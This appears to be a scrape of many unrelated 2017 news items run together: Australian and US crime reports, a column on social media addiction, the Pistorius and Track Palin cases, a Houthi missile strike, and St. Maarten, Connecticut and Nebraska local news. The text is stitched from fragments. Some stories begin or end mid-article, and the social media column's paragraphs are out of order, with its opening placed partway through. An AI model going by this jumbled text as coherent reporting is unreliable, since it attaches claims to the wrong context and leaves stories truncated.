"Just one death has been recorded across the 85 protected beaches in NSW and QLD in the last 50 years. Despite this, the inquiry insisted that nets and drum lines didn't make beaches safe," she said.
A 15-year-old Perth boy has pleaded guilty to raping, bashing and robbing an elderly Waikiki woman aged in her 80s.

The boy entered the woman's house on October 13 and sexually penetrated her three times during the home invasion.

The boy faced the Perth Children's Court on Tuesday.

Appearing in Perth Children's Court on Tuesday via video link from Banksia Hill Detention Centre, the boy slouched in his chair at times biting his nails as his eight charges were read to him.

He admitted to entering the elderly woman's home, indecently and unlawfully assaulting her, raping her, using violence to obtain money and doing bodily harm to her.
Dawesville MP Zak Kirkup has raised the alarm about the front doors of Falcon's fire station, which have been broken and useless since March.

The station, which is home to the Falcon Volunteer Fire and Rescue Service, is in regular use by volunteers attending both fire incidents and car accidents throughout the City of Mandurah.

Dawesville MP Zak Kirkup is fighting for repairs to Falcon Fire Station.

Since March they have been using doors at the rear of the station to negotiate their vehicles in and out.

Mr Kirkup labelled it "absurd" and "ridiculous" that volunteer emergency crews would be forced to use the rear doors of the station when going to and from jobs.
At the risk of speaking too soon, is this the last truck to crash into Bayswater Overpass Bridge this year?

The website "How Many Days Since Bayswater Bridge Has Been Hit" was forced to reset its counter on Monday afternoon after a veggie truck was crunched by the "low clearance" bridge on Railway Parade.

The fruit and veg carts sprawled under the notorious Bayswater Overpass Bridge.

While the truck made it under  a rare feat if you delve into the lengthy history of 21 incidents  some crates carrying the fruit and vegetables evidently did not.

The bridge is a notorious hot spot for overambitious truck drivers and it's definitely been a rocky year for WA's most troubled overpass.
London: The UK has led growth in branded coffee shops in Europe for a third straight year amid an expansion of chains from Starbucks to Costa Coffee.

The number of outlets in the UK grew by 643 to 7421 in 2017, according to market researcher Allegra. The country leads net outlet expansions in Europe, followed by Turkey, Russia and Greece.

It appears the British are in love with coffee. Credit:Hiro Komae

Traditionally a nation of tea drinkers, the UK has been a leading market for branded coffee shops in Europe since Allegra's data began in 2010. Still, 21 out of 25 countries in Europe saw expansion in their market this year, the researcher said.

"The UK is the most developed market and remains the model for the branded coffee shop industry," the report said.
Physically, it's pretty obvious. Bending over a phone all day ruins your posture. Staring at a small screen damages your eyesight. Watching videos until two in the morning upsets your sleep. And posting a photo of your cat having a bad hair day and waiting for the clicks to come works by exactly the same system of action and reward that you see practised in casinos and crack dens. We are hooked, folks. This is an addiction.

But just because change is inevitable doesn't mean that we should be morally ambivalent about it. After all, the invention of the motor car made human existence a lot easier, but it also led to accidents. So, we rolled out seat belts, traffic lights etc. And while some seem to think that the larger the technological change, the more we should be willing to nod it through, logic dictates the opposite. The internet has revolutionised our society so dramatically, so quickly, that it has become a matter of self-preservation to stop and ask what its effects might be.

For too long it's been taken as read that criticising social media is like trying to hold back the tide: change comes in, tradition goes out, deal with it. We used to worry that TV would rot your brain; before that radio, before that cinema. Doubtless, cavemothers once shouted at their little Troglodytes: "Stop staring at that fire, it'll ruin your eyes!"

London: Facebook has finally acknowledged the academic studies that say social media is bad for your health. I should know: I've just gone cold turkey. It's been two weeks since I last tweeted and Tim Stanley feels great. I've lost weight, spoken to my family for the first time in years and have started work on a book called Hey Loser, Put Down That iPhone! There's a photo of me on the front cover in a leotard, throttling the Twitter bird.

It's an addiction with some good side effects. Social media has made it easier to advertise, sell, run for office and stay in touch. It means that the grandma who lives hundreds of miles away can see all the photos of her family's holiday to Egypt on Facebook. Although, if I was that grandma, I'd be inclined to type: "Looks fun. How about inviting me next time?"

And that's where the physical problems tip into the existential: the gap between reality and online fantasy. Social media is for many an alternative to being social: it means you don't have to speak to granny in person. Moreover, we can choose precisely what grandma gets to see of our lives; not quite the whole picture, a collage of approved angles. In the Seventies, Susan Sontag wrote perceptively of how human beings use cameras to control our experience of things: the tourist sees the pyramids, he photographs the pyramids, the pyramids have been put in their place.

In the old days he would then bore us all with a slide show: Giza shot out of focus, the heads chopped off the camels. Social media now accentuates the theatrical power of the camera by allowing the tourist to airbrush and disseminate said images, to give the impression of the perfect holiday to a boundless audience. The internet isn't just a lens into our lives, it's also a stage for us to perform on, and the effects, particularly on young girls obsessed with body image and the scrutiny of peers, can be devastating. One sad inquiry into the death of a teenager who had been bullied at school and online found that some of the hate mail she received may have been posted by herself.

Social media encourages us to push the extreme version of ourselves: beautiful and ugly, victim and sadist. Few people, I'm convinced, are as ghastly in real life as they are on Twitter: the anonymous person who calls me a "big haired Nazi" is probably a sweet old lady who is just frustrated that her grandchildren won't call.

The opposite to this rule is true, too: no one is as virtuous in real life as they appear online. And yet the thing that has probably driven me off Twitter - more than the abuse or the name-calling or the demands that I get a haircut - are the people who seem to be shocked and appalled by the most banal things. If a newspaper publishes the headline "MP Leers at Woman on Bus", within seconds there is a chorus of "filthy beast", "sack the pervert" and "this is exactly why men shouldn't be allowed on buses". The Prime Minister will call for an inquiry into the male libido; the Six O'Clock News will announce that public outrage has forced the MP to flee abroad.
Johannesburg: Paralympic gold medallist Oscar Pistorius has appealed to South Africa's highest court to cut the sentence he got for murdering his girlfriend, legal documents showed on Tuesday.

Pistorious was jailed for six years for shooting dead Reeva Steenkamp, but prosecutors argued that was "shockingly lenient" and an appeals court agreed last month to more than double the term to 15 years.

Pistorius filed documents to the Constitutional Court on Monday challenging the appeals court's ruling.

The judgement, he argued, disregarded material findings of the trial court, which showed "compelling circumstances justifying a departure from the prescribed minimum sentence".
Police confronted Track Palin in the residence. He called them "peasants" and told them to lay down their weapons, according to the documents. Eventually, Palin left the house and was placed in handcuffs. He told police that when he arrived at the house, his father had his gun aimed at him, and he had urged his father to shoot him several times before entering the house, according to the documents. When policed interviewed Todd Palin, he was bleeding from multiple cuts to his head, and one ear was discharging liquid, documents say. The Wasilla Police Department did not respond to a request for comment about whether its officers interviewed Sarah Palin. Sarah Palin's children, from left, Track, his sister Willow holding Trig. Credit:TRIBUNE A judge set Track Palin's bail at $US5000. He remains in custody at the Mat-Su Pretrial Facility in Palmer, Alaska. Palmer District Attorney Roman Kalytiak said if Palin remains in custody, his office must take the case to the grand jury within 10 days. If Palin pays bail and is released, prosecutors will have 20 days to go before the grand jury.

An attorney for Sarah and Todd Palin declined comment on the case. "Given the nature of actions addressed ... by law enforcement and the charges involved, the Palins are unable to comment further," John Tiemessen said in a statement. "They ask that the family's privacy is respected during this challenging situation just as others dealing with a struggling family member would also request." Track Palin has had previous brushes with the law. In January 2016, he was arrested for allegedly punching his girlfriend at the same Wasilla home. He pleaded guilty to possessing a firearm while intoxicated, and took a plea deal that resulted in other charges being dismissed. His girlfriend later filed for custody of their child and sought a protective order against him. At the time of that arrest, Sarah Palin was campaigning for then-candidate Donald Trump during the GOP primaries and caucuses. She alluded to her son's arrest during a campaign rally, suggesting that he suffered from post-traumatic stress disorder after returning from a military deployment in Iraq. She described soldiers "who come home from the battlefield bringing new battles with them [and] coming back different than when they left for the war zone."

"When my own son is going through what he goes through coming back, I can certainly relate to other families who feel these ramifications of PTSD," she said, before blaming then-President Barack Obama for not respecting veterans. During the 2008 presidential campaign, when Sarah Palin was Senator John McCain's running mate, she frequently spoke of her son's service in the military. He was stationed in Iraq during most of the general election campaign. Palin had been governor of Alaska for less than two years and was a relative unknown when she was thrust onto the national stage. The move eventually proved unpopular among some conservatives who questioned whether Palin had the experience and knowledge to be a heartbeat away from the presidency. But Palin's folksy personality and colloquialisms strongly resonated with the party's base, and she became a powerful force in national GOP politics following her and McCain's loss in 2008. She resigned as governor the following year, but was a frequent presence in the media and on the campaign trail as a forceful critic of Obama and an early supporter of the tea party. Palin sparred with the GOP establishment, and her endorsement swung Republican primary races and drew dollars.
Riyadh: Saudi Arabia said it has intercepted a missile launched by rebel Houthi fighters in Yemen, who declared a "new chapter" in their confrontation with the kingdom.

The Volcano 2-H ballistic missile was aimed at the al-Yamama royal palace in Riyadh on Tuesday, but was stopped by Saudi's air defences. Reporters heard a blast and saw a plume of smoke rising above the Saudi capital near the palace, where King Salman bin Abdulaziz al-Saud chairs weekly government meetings and hosts foreign dignitaries.

It was the second time in as many months that a rebel projectile had reached as far inside the kingdom as Riyadh. November 4 a ballistic missile was intercepted over Riyadh's King Khaled Airport. While audacious, neither missile caused any real damage.

In a televised address, Abdul-Malik al-Houthi, the Houthi rebel leader, said the range of missiles in their arsenal was being extended.
New York: The Trump Administration has put out its new national security strategy. This is a farce.

On any one issue, President Donald Trump and his team have several contradictory positions. That's what happens when your priority as president is to use foreign policy to throw red meat to your base while other members of your administration are are scrambling to stop Armageddon.

"It's impossible to know what the United States' position is on any number of subjects," a European ambassador told me last week. "We could go sleepwalking into a war."

Let's start with North Korea, whose small but growing nuclear arsenal is overseen by Kim Jong-un, a leader as volatile as Trump.
GREAT BAY (DCOMM):--- Ministry of Public Housing, Environment, Spatial Development and Infrastructure (Ministry VROMI), announces that part of Back Street will be closed on Thursday, December 21 for vehicular traffic.

The closure is in connection with concrete works that will take place at Back Street #36. The street will be closed from Jump Up Casino to Angelos Boutique including Zoutsteeg, from 8.00pm on Thursday to 6.00am on Friday.

Motorists are advised to be observant of the detour and directional signs.

Ministry VROMI apologizes for any inconveniences this may cause.
PHILIPSBURG:--- Art Saves Lives Foundation continued its hurricane relief efforts with the assistance of the French Tourist Offices SXM Smile Again initiative to assist students on the island. Recording artist Phyllisia Ross collaborated with Art Saves Lives Foundation to collect school supplies and toys for St. Maartens children and students. Phyllisia Ross songs KONSA and Ma vie sans toi are crowd favorites. The video for her single ONE was shot on St. Maarten. Art Saves Lives is grateful for the opportunity to give back to the community and the children of St. Maarten and is pleased that Phyllisia Ross has pledged to continue to assist its initiative in any way she can.

ASL Press Release
PHILIPSBURG:--- The latest spiritual child of author Loekie Morales, Chella and the Weird Woman/Chella en het vreemde vrouwtje, was distributed last week to ALL the primary schools on Sint Maarten. It was a great pleasure to donate a box of 27 books for comprehensive reading to the schools. Each one of them has received a visit from the Beyond Kultura Foundations representative/project leader Ingrid Holaman, who sometimes was accompanied by some sponsors. They were welcomed by the schools in a really nice, festive way. The schools scheduled for last week Monday had a privilege to have the writer herself visiting them.

Loekie Morales: The children at the schools had happy faces and enjoyed to get the books. Some schools have shown me the other books they have gotten from former years from Beyond Kultura, which they have been reading for the children. Most of the children know the story of Mina Marina Bonte Boel and the Magic Wedding Cake still, and some could even memorize Zonnesproetjes which was distributed in 2005. This is a good sign.

During a visit of Mrs. Holaman, a student has even given her a small guitar to hand over to the writer, as gratitude for the books received by his school.

In 2018, January and February, the schools can call up Morales to give a full presentation of the Chella-story. That will be an interactive act of the story with the children. I am sure they will enjoy it, like the children in Curacao and Aruba did, Morales stated.

Last week, we have gotten the good news of the Central Bank, which has helped out financially to cover the rest of the costs of the books. BKF is really relieved with this gesture.

BKF hopes the children will fully enjoy this story which teaches children to be obedience and to not go with strangers, anywhere, Morales stated.

Beyond Kultura Events Foundation Press Release
THE HAGUE, Netherlands:--- The Minister Plenipotentiary of Sint Maarten, H.E. Mrs. Henrietta Doran York, recently welcomed the newly appointed Minister Plenipotentiary of Aruba, H. E. Mr. Guilfred Besaril, for the first time to her Cabinet in The Hague.

Although haven met before during work, this time the 2 ministers had the opportunity to discuss many topics relating to especially the function of "Minister Plenipotentiary" in The Hague.

As was expected, both ministers discussed in depth and concluded with the agreement that the representatives of the 3 Dutch Caribbean countries should continue to, at all times maintain an open line of communication and to also strive for the best cooperation and understanding amongst each other, as this will strengthen their ties in the interest of their governments and the people in their respective countries, that they represent.
THE HAGUE, Netherlands:--- The Minister Plenipotentiary, the Honorable Henrietta Doran-York, received a courtesy call at her Cabinet, from Mrs. Jose Verschueren-Sommers of Sint Maarten.

Mrs. Sommers, a well-known school teacher and former principal of the St. Dominic High School on the island and the founder of the 4C (Foresee) Foundation and astound advocate for digital education systems and innovation, is in the Netherlands meeting with organizations linked with St. Maarten.

Mrs. Sommers updated the Honorable Minister of her trip thus far. Upon her arrival in the Netherlands, Mrs. Sommers met with individuals of the Den Bosch Municipality members of the Diocese and an NGO, to discuss plans on assisting a primary school on the island. Supported by the Sint Maarten entrepreneur/ business owner and representing foundation RebuildSXM in the Netherlands, Mr. John Sandiford, a presentation was given on the situation at the schools and possible forms of support discussed. Irene Simmons, Director of the cabinet of the Minister Plenipotentiary and Kelly Busby of the PR and Protocol department at the Cabinet, were privy to tune in and witness this presentation, via the newly installed media room at the Sint Maarten cabinet.

A visit was also paid to the Missing Chapter Foundation and UNICEF, where possible projects were looked at on how to alleviate the astute needs of the students and children on the island.

Furthermore, she met with the organizers of Global Designathon, an annual global design technology event for primary school children, where due to Irma, St. Maarten unfortunately could not participate this year. However though, plans were made for participation in the 2018 event.

For the remainder of her visit here in the Netherlands, a meeting with the Samenwerkende Fondsen (Cooperating Foundations) was held with as main objective Irma relief funding of St. Maarten social NGOs after the recent visit to St. Maarten by the Dutch Directors of the Cooperating Foundations.

As a token of appreciation and to highlight the resilience of our students on the Island, Mrs. Sommers presented the Honorable Minister with a poster with drawings and poems written by students in the aftermath of Hurricane Irma whereby their sentiments where expressed. One hundred eighty-five students from 13 St. Maarten schools and the after school program No Kidding with Our Kids Foundation submitted their experiences, of which a selection was made by Foresee and the ArtsCraftsCafe Foundation.

The Honorable Minister thanked Mrs. Sommers for her kind gesture and assured her that this poster will be proudly displayed at the Cabinet for all to see. As this poster depicts the resilience of the youngsters of the island and the coping mechanisms. She further stated that her belief in the peoples ability to adapt and move on to rebuilding their lives on the island are strong and that Sint Maarten will indeed regain its splendor and fortitude. After the presentation, a tour of the newly upgraded and improved Cabinet was given. Mrs. Sommers was subsequently wished much success with the remaining meetings in The Netherlands.
PORT OF SPAIN, Trinidad & Tobago:--- National focal points in the energy efficiency and environment sectors from Barbados, Guyana, Saint Lucia and Trinidad and Tobago recently received new tools to assess policies and programmes on energy efficiency, as they participated in a two-day workshop organized by the Economic Commission for Latin America and the Caribbean (ECLAC).

The workshop, which was held at ECLAC Caribbean headquarters in Port of Spain on 11-12 December, was organized with the support of the German Agency for International Cooperation (GIZ) and the French Environment and Energy Management Agency (ADEME). During the workshop, participants were exposed to the Database of Energy Efficiency Indicators (BIEE) methodology.

The BIEE program in Latin America and the Caribbean provides a database to assess policies and programs on energy efficiency (EE) in participant countries, by promoting capacity building on EE indicators, motivating the implementation of EE policies and programs based on monitoring, measure and standardization, promoting the regional comparability of the sector, and enhancing regional coordination on EE issues in the regional and global agenda.

The benefits of having the EE indicators, providing such data as electricity intensity, the percentage of dwelling houses with refrigerators, and transport were outlined during a summary presentation entitled The Role of Renewable Energy and Energy Efficiency on Building Resilience to Disasters. The use of EE indicators would enable countries to craft better disaster and emergency strategies to assure a more resilient recovery of their energy sectors.

The workshop featured presentations from Bruno Lapillonne of Enerdata, who provided detailed outlines of energy efficiency indicators and the BIEE Data Template, while ADEMEs Didier Bosseboaeuf spoke about why energy indicators are important.

Participants engaged in practical discussions on their energy consumption characteristics, the energy efficiency measures that they utilize and energy efficiency policies in their respective countries.

ECLAC Press Release


SEED Ohio, a pilot program to help raise funds for Ohio environmental nonprofits, will wrap up its inaugural campaign at the end of this month.



Only three percent of all philanthropic giving goes to environmental causes, says Jon Cocina, COO of 1% for the Planet, a global network of businesses, nonprofits and individuals working together for a healthy planet. With this pilot, we wanted to increase impact and innovate to tackle environmental issues in a bigger way."



1% for the Planet not only targets Ohio residents, but also shares the SEED Ohio campaign on its global platform, which provides visibility and awareness of Ohio causes to its members and social media channels.



SEED Ohio targets people who might not be familiar with environmental organizations so they would be hesitant to pick one nonprofit or one issue to support," Cocina explains. "We created a mobile-friendly, engaging donation platform, and are working with organizations that provide knowledge around their issues that we can share with the donors.



Donations to the SEED program are split evenly between six Ohio environmental organizations, each one addressing 1% for the Planets key issue areas: land, water, climate, food, pollution and wildlife.



The six Ohio organizations include Cuyahoga River Restoration and Western Reserve Land Conservancy in Cleveland; Clean Fuels Ohio and Ohio Ecological Food and Farm Association in Columbus; and Building Value and Ohio River Foundation in Cincinnati.



The SEED partners were already working with 1% for the Planet and doing great, innovative work, says Cocina. Each participant will provide metrics on how the donations were used and every donor will receive an impact report.



1% for the Planet began in 2012 with the idea that companies would donate one percent of their sales to environmental causes. All businesses take from the environment in some way, says Cocina. 1% for the Planet offers a way for businesses to be part of the solution instead of part of the problem.



1% for the Planet has over 1,200 business members and recently launched an individual membership program for people to commit one percent of their salary to support environmental nonprofit organizations.



We realized that not everyone is ready or able to give one percent of their sales or salary, says Cocina. This pilot is a new platform and engagement opportunity for individuals to give. SEED Ohio lets anyone be part of the movement.



SEED Ohio will accept donations through Dec. 31. 1% for the Planet will be evaluating the six-month pilot and planning next steps in 2018.


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The is the UK railer for The Pirates of Somalia, originally known as Dabka.









Based on the New York Times bestseller

by Jay Bahadur, it examines what led to the hostage saga that was told in the film Captain Phillips.

It was written and directed by Bryan Buckley, and stars Evan Peters, Al Pacino, Melanie Griffith, and Barkhad Abdi. It was released by Echo Bridge day-and-date in the US on December 8, 2017. Check out the synopsis and trailer below.





"In 2008, rookie journalist Jay Bahadur forms a half-baked plan to embed himself among the pirates of Somalia. He ultimately succeeds in providing the first close-up look into who these men are, how they live, and the forces that drive them."
The International Franchise Association inducted a second Connecticut executive into its IFA Hall of Fame: Tariq Farid, who used a $5,000 loan from family and friends at age 17 to open a flower shop and, experimenting with fresh fruit, created the concept for Edible Arrangements.

More Business Carvel the 'official' birthday cake of Big Apple Circus

Farid joins Subways late co-founder Fred DeLuca and 2004 inductee in the IFA Hall of Fame, with Farid having previously won the associations entrepreneur of the year award in 2008.
Either Connecticut has cured bullying or the state is vastly underreporting such incidents.

Nationally, one in five students  roughly 20 percent  report being bullied daily in school. In Connecticut, there were just 825 incidents recorded in the 2016-17 school year in a state with more than 538,000 K-12 students.

That means less than 1 percent of Connecticut students have experienced bullying, and individual districts appear to be on par with state trends  a far cry from widely accepted national data.

Stamford, a district with more than 16,000 students, had just 12 incidents of bullying this past year, a decrease from 14 in the 2015-16 academic year. Norwalk, a smaller district of 11,000, had 20. Danbury had so few cases the data was suppressed to protect student privacy, meaning there were less than 6 cases of verified bullying in a district with roughly 11,000 students.

Michael Fernandes, assistant superintendent for secondary schools in Stamford, said its hard to determine whether incidents are unreported, but that they aim to create a safe school climate to prevent bullying.

The number of reported incidents statewide  or lack thereof  could be due to a narrow definition of bullying. While every complaint is investigated, only those determined to fit the definition are reported to the state as verified bullying.

In 2011, Gov. Dannel P. Malloy signed into law a public act that defines bullying as the repeated use by one or more students of a written, oral or electronic communication, such as cyber bullying, directed at or referring to another student attending school in the same school district.

More Information Bullying reports See More Collapse

This means that one incident of misconduct does not constitute bullying, said Peter Yazbak, a spokesman for the state Department of Education. By definition, bullying requires the repeated use of a written, oral or electronic communication directed at another student, or a physical act or gesture repeatedly directed at another student.

Stamford Public Schools (SPS) follows this statute, and defines bullying as a repeated act, Fernandes said. If it is not a repeated incident, then it is considered inappropriate, he said.

If a student is found to have bullied another student, there are various actions that can be taken, Fernandes said, from educating the student, to giving a warning, to suspension or a police referral if the action is severe enough, though he has never seen an incident reach that point.

Theyve taken steps to deter bullying, though. In certain middle schools, Fernandes said there are bully boxes, where students can drop a report if they are not comfortable going to someone directly.

SPS incorporates a K-12 PeaceWorks program, which partners with local nonprofit organizations to teach lessons around preventing bullying and building positive relationships during students health classes. Each school also has a safe school climate specialist who oversees bullying education.

The big takeaway is that we want to continue to build safe school climates and thats part of our school improvement plans, Fernandes said. Thats the most important thing for us to address bullying.

New avenues for reporting

Norwalk Public Schools School Safety Coordinator Joe Rios said hes hopeful the rollout of Anonymous Alerts  a new app for students, parents and staff to communicate and anonymously report potential bullying  will provide more insightful data on the types of things being reported and how often investigations turn out not to be bullying.

If you look nationwide, there are some statistics that show students would have reported things but they werent able to do it anonymously, Rios said. This gives them that venue for any incident that needs to be reported ... We will certainly be able to gather some data which I hope will be able to detect what were missing and how do we use our resources to combat issues.

Fernandes said that SPS tested the app several years ago, but did not continue to use it because the students were not utilizing it.

They seem to prefer reporting directly to adults they develop relationships with and trust, he said.

Greg Bender, CEO and founder of Anonymous Alerts, said he suspects the national bullying rate  20 percent of students experience bullying  is likely even higher than reported, which is why he created Anonymous Alerts.

Fifty-four percent of students nationwide do not report being bullied and 88 percent of social media-using teens have witnessed other people being mean or cold on social media networks and sites, Bender said, citing data from the the U.S. Department of Education. But they dont report it. Thats where things can fall into a tragedy situation really quickly. Repeated bullying or sexual harassment can be a very troublesome thing for a young adult. Somebody can do something about it. A lot of things go under the radar, and this will help them both create a safer school climate, both to mitigate risk and create better transparency.

kkrasselt@hearstmediact.com; 203-842-2563; @kaitlynkrasselt
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A Stamford nonprofit is among six Connecticut organizations to receive grants this year from the Hearst Foundations, a resource for education, health, culture and social services nonprofits across the country.

Building One Community was recently awarded $50,000 in support of its mission to bring passionate people together to help immigrants and their families succeed in the community. The Conneticut Food Bank in Wallingford also received $100,000 in the latest round of Hearst funding for its childrens backpack program, which provides children at risk of hunger with weekend and summer meals.

The Building One Community grant will help fund the operating budget of a nonprofit entirely supported by private contributions, Executive Director Catalina Horak said. Formerly Neighbors Link Stamford, the organization was founded in 2011 and served more than 2,500 clients from 56 countries in 2016. The group is a first-time Hearst grant recipient.

One of the best things the Hearst Foundations does is theyre very open to general operating support grants that are not dedicated to any particular program, Horak said. Not every foundation has the foresight to give these kind of grants, and these for us are the best and most flexible.

The Connecticut Food Bank serves Fairfield, Litchfield, Middlesex, New Haven, New London and Windham counties, where more than 300,000 people, including 100,000 children, struggle with food insecurity, according to the organization. The food banks Kids BackPack Program helps more than 3,300 students  including those from Stamford, Bridgeport, Danbury, New Haven, Norwalk, Stratford and Trumbull  providing them with food packaged discretely in backpacks to take home.

Organizations that received grants earlier this year include Ability Beyond in Bethel, Catholic Charities of Fairfield County in Bridgeport, Connecticut College in New London and the University of Connecticut Foundation in Storrs, in amounts from $50,000 to $200,000.

In 2016, Hearst Foundations awarded grants to 280 nonprofits totaling nearly $43 million.

The Hearst Foundations were founded in the 1940s by newspaper publisher William Randolph Hearst. They are independent, private philanthropies that operate separately from Hearst Corp., the parent company of Stamford Advocate, Greenwich Time, The Norwalk Hour, Connecticut Post and The News-Times. Since their inception, the foundations have made over 20,000 grants totaling more than $1 billion.

eskalka@stamfordadvocate.com
Thumbs up to Barry Woods, who runs a night program at the Yerwood Center for the Boys and Girls Club of Stamford that has been credited with helping reduce gun violence in the city. The program, which began in the wake of West Side shootings in 2016, draws up to 125 youths during the sessions which take place three days a week. City officials have recognized the value of the initiative and supported it with 100,000 in funding in the current budget. The program also offered resume workshops, swimming, classes for young women and meals for those in need.

Thumbs up to Barbara Soroca, who will step down next month as CEO of the Stamford Symphony. Soroca deserves kudos for her work throughout her tenure, but earns a bonus one for her retirement plan. She is launching the Soroca Fund for American Music, which aims to bring more works by American composers to the concert stage. As if 40 years at the helm wasnt enough, Soroca is trying to remedy what she says as a shortcoming in the symphonys offerings  a dearth of American music. We look forward to her efforts to shake up the set list at the Palace Theatre.
STAMFORD  A city man was held in jail over the weekend and faces charges that he beat his wife.

Sgt. Sean McGowan said police officers were called to a West Side home Friday night by a neighbor who heard screaming.

After arriving with lights and sirens, police got to the residence and heard yelling and screaming outside the door. Upon entering, police found a woman crying and holding the left side of her head and left ear.

With the help of a Polish-speaking interpreter, the woman said her husband Bartlomeij Molski, 34, had gone to the grocery store and returned drunk, police said.

An argument began over unpacking the groceries, and the woman said Molski grabbed her by the neck and threw her to the ground, police said. As she got up, he began to strike in the face and head with his fist as their eight-year-old son looked on, the woman said, according to McGowan.

When police tried to speak to Molski, he became agitated and uncooperative, and yelled at his wife and the officers, McGowan said.

McGowan said the woman had serious injuries after receiving severe strikes to her head and ear. She was sent to Stamford Hospital for treatment, McGowan said.

Molski was charged with second-degree assault and risk of injury to a minor. He was held over the weekend on a $5,000 court appearance bond and arraigned on the charges Monday.

jnickerson@stamfordadvocate.com
SCOTTSBLUFF  In an effort to improve its insurance rating, Scottsbluff will apply for a grant to build a new Public Safety Training Facility.

City Manager Nathan Johnson said one of his goals since last spring was to improve the citys ISO (Insurance Services Office) rating, which would in turn help decrease insurance costs to property owners.

To help the citys chances of an improved rating, council members gave the go-ahead to apply for an Assistance to Firefighters Grant through the Federal Emergency Management Agency and the Department of Homeland Security.

Since 2001, the program has awarded about $310 million directly to fire departments and training academies, allowing first responders to fund much-needed equipment, emergency vehicles and similar expenses.

The application process should be opening again soon, Johnson told council members. The training facility were considering should cost about $656,095. The city would be responsible for a 10 percent match, which we have available.

Similar facilities include a four-story fire training tower, a two-story residential portion with several rappelling points, active burn rooms with training props and smoke distribution system.

This would be a regional facility where all the neighboring fire departments can train, Johnson said. Weve had conversations with Bayard, Morrill, Mitchell and Gering. Theyre willing to sign on for this regional grant opportunity.

Johnson said the facility would be complementary to the existing training building in Gering with training classes offered at both locations.

Scottsbluff is also working with Western Nebraska Community College to give the potential facility an educational aspect. The center would be built just south of the Harms Center.

Were hoping this turns into some bigger things, like Firefighter 1 and 2 training, Johnson said. It would be to our advantage to offer the training that would keep our fire department staffed.

In his proposal, Johnson said the facility is much needed and would greatly improve Scottsbluff Fires trainings and help maintain training hours.

During its Monday meeting, council members also approved a $100,000 grant and $50,000 loan LB 840 package to Matt Larsen of Inventive Media to add 10 new employees.

Under the name Vistabeam, Larsens company provides wireless broadband service for internet and other online applications.

The new employees would bring Vistabeams staff to 27, about triple from five years ago. They continue to build out their service in western Nebraska, eastern Wyoming and northeast Colorado.

Larsen also said the local area is in pretty good shape when compared with the lack of broadband access in many areas of the state.

We have a competitive environment here, he said. We have fiber connections all over town and wireless connections outside the towns. Thats better service than in parts of Fort Collins, so this is a great area for connectivity. Thats because weve received a lot of community support.

Mayor Randy Meininger said the purpose of the LB 840 program is to promote business activity. He also thanked Larsen for bringing the proposal to them when many other businesses would be reluctant to do so.
ATLANTA  Jeri Cook Williams spent most of the last 24 hours in complete darkness as she and thousands of other passengers were left in the dark after a blackout at Hartsfield-Jackson Atlanta International Airport.

The former Scottsbluff resident was flying in to Atlanta from Miami Sunday after a vacation cruise and was stuck on the tarmac for three hours before being allowed into the airport. The pilot of her plane announced there was no power in the facility, but that it would be fixed shortly. That was shortly after 1 p.m. Eastern Standard Time Sunday.

It just went on and on and on, Williams said. Then they said there was a major power outage.

By the time Williams plane could unload its passengers, there were 93 other planes waiting on the tarmac.

We were there fairly early, so we only sat there (on the tarmac) for three hours, she said. Some people had to wait five hours.

But her plane wasnt going to a gate as usual. The plane was parked on the taxiway.

They had to bring these old rickety stairways out, she said. Then we walked across the taxiway.

By now, it was also raining and passengers were wet when they got inside the airport. When Williams arrived inside, there were a few backup and auxiliary lights, but the airport was mostly dark.

According to the Associated Press, CEO Paul Bowers said in a phone interview Monday that a switch gear failed, causing a fire that then spread to cables coming in from two substations. He said it wasnt clear what caused the switch gear to fail.

Bowers said failures are very rare, but now that theyve had one, they have to figure out what to do about it going forward. He said they will look at ways to isolate the switch gear and cables from each other, possibly by encasing one or the other in concrete.

He said the fire happened in a service tunnel deep under the airport, so it never posed a danger to anyone.

The airport saw more than 1,000 flights canceled. Everything was at a standstill on Sunday about 1 p.m., the same time Williams had arrived. She joined the throngs of people who could barely see by the low lights of some advertising.

There were areas where it was pitch black, like when you were walking along the moving sidewalks between the concourses, she said.

Passengers stumbled around in the dark, using the built-in flashlights in an attempt to see. It didnt always work.

People were running into each other, she said. "It was eerie and surreal, and Ive never seen anything like that.

Cell phone service was sporadic. Williams would receive a text message from her brother, but she couldnt get something back to him. When she did, she was never sure if the message went through. Many peoples cellphone batteries died. There was no way to charge them.

She remained upbeat and just tried to go with the flow. There wasnt anything else she could do.

We just kind of sat there and behaved ourselves, she said.

Williams said the situation remained like that until about midnight. There was no food. There was no ice. There was no water. There were no lights, no planes leaving or coming. People were laying in every nook they could. There were few places to lay and even fewer places to stretch out.

Delta did come along and pass out some blankets and they brought some bottled water and sandwiches, she said.

But with so many people stranded, there wasnt enough for everyone. Williams took her blanket and looked for a place to rest.

I was trying to find some place to put our little blanket down, but the cement floor was so cold, she said.

When the lights were restored, Williams watched as passengers descended on agents trying to find out when, or if, their flight was taking off. Her flight was canceled twice. Williams finally caught a flight home to Memphis about 11 a.m., Eastern Standard Time, Monday. She still had a three-hour drive back home to Mountain Home, Arkansas, where she now lives.

Though Williams remained jovial and upbeat about everything that happened, she did say the worst part of the ordeal was the lack of communication from airport authority and the airline about what was happening. One person would say one thing. When she tried to verify it with someone else, they didnt know anything about it.

At one point, we were told there was a shuttle to take us to the convention center, she said. We asked three people where the shuttle was and they had no idea what they were talking about.

In the end, Williams was happy she didnt leave the airport. She would have had to go through the security checkpoint again, which had an estimated four-hour wait.

At one point in time they were told to evacuate. While everyone was running to get out of the building, they were told the information was wrong and no one had to leave. Williams took everything in stride and told herself this blackout wasnt going to ruin an otherwise good vacation.

We went on this beautiful cruise and Im not going to let that experience wipe away that beautiful cruise and the blue water, she said.
Three people face charges after deputies searched a rural Morrill home Saturday, Dec. 16.

Paige Weborg, 19, of Morrill, has been charged with possession of a controlled substance, a Class IV felony; possession of a controlled substance (marijuana), a Class IV misdemeanor; theft by receiving stolen property, a Class II misdemeanor; and possession of drug paraphernalia, infraction. Devon Carrizales, 24, of Morrill, was arrested on two counts of possession of a controlled substance, a Class IV felony, and two infractions, possession of marijuana and possession of drug paraphernalia. A third person, Hunter Hoover, 24, of Lusk, Wyoming, has been charged with carrying a concealed weapon, a Class I misdemeanor.

According to an arrest affidivat, a Scotts Bluff County Sheriffs deputy had gone to Carrizales and Weborgs residence on County Road A in rural Morrill looking for another person in connection with an investigation.

The deputy made contact with Carrizales, who answered the door, and the deputy alleged in the affidavit that he could smell the odor of raw marijuana. A group of people were in the residence.

